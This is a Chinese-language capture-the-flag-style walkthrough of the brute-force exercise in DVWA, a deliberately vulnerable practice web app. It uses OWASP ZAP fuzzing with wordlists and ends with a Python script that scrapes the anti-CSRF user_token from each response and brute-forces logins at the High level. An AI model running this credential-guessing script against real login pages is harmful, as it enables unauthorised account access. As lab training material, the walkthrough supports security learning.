Low:
随便输一下用户名,密码,test
点击Login
显示用户名或密码错误
在owasp-zap查看数据包
点击,就会转到这
右键,点击Fuzz
点击Remove删除默认的
选定参数变量值,点击Add
再点击Add
然后输入几个可能的用户名,点击添加
然后点击ok
对password参数也是一样的操作,密码的字典
设置完了之后,点击Start Fuzzer
开始暴力破解
按Size Resp.Body可以更快地找到正确的结果
是正确的账号密码
Medium:
Medium级别的方法跟Low级别的方法一样,只不过响应的时间有点长
看一下源代码
可以看到,登陆失败的话,会睡眠2秒
High:
High等级用上面的方法爆破不出来,因为多了一个user_token参数
user_token是上次请求返回的
所以,右键查看源代码能得到下次请求的user_token
这次请求的源代码
下次请求的user_token
结果是一样的
写个python脚本爆破
__author__ = "MuT6 Sch01aR#" import requests import re username = ['root', 'admin', 'test'] password = ['123456', 'admin', 'admin888', 'root', 'abc123', 'password', 'qwerty'] cookie = {'security':'high','PHPSESSID':'ohjjiijt8p02u3adkoucjgqte1'} r = requests.get(url='http://192.168.2.140/dvwa/vulnerabilities/brute/?username=&password=&Login=Login&user_token=', cookies=cookie) r_esult = re.findall("<input type='hidden' name='user_token' value='(.*?)' />", r.text) user_token = r_esult[0] for u in username: for p in password: res = requests.get(url='http://192.168.2.140/dvwa/vulnerabilities/brute/?username='+u+'&password='+p+'&Login=Login&user_token='+user_token, cookies=cookie) re_sult = re.findall("<input type='hidden' name='user_token' value='(.*?)' />", res.text) user_token = re_sult[0] if 'Username and/or password incorrect.' in res.text: print("登录失败,账号:%s,密码:%s" %(u,p)) else: print("登陆成功,账号:%s,密码:%s" %(u,p))
要带上cookie
运行结果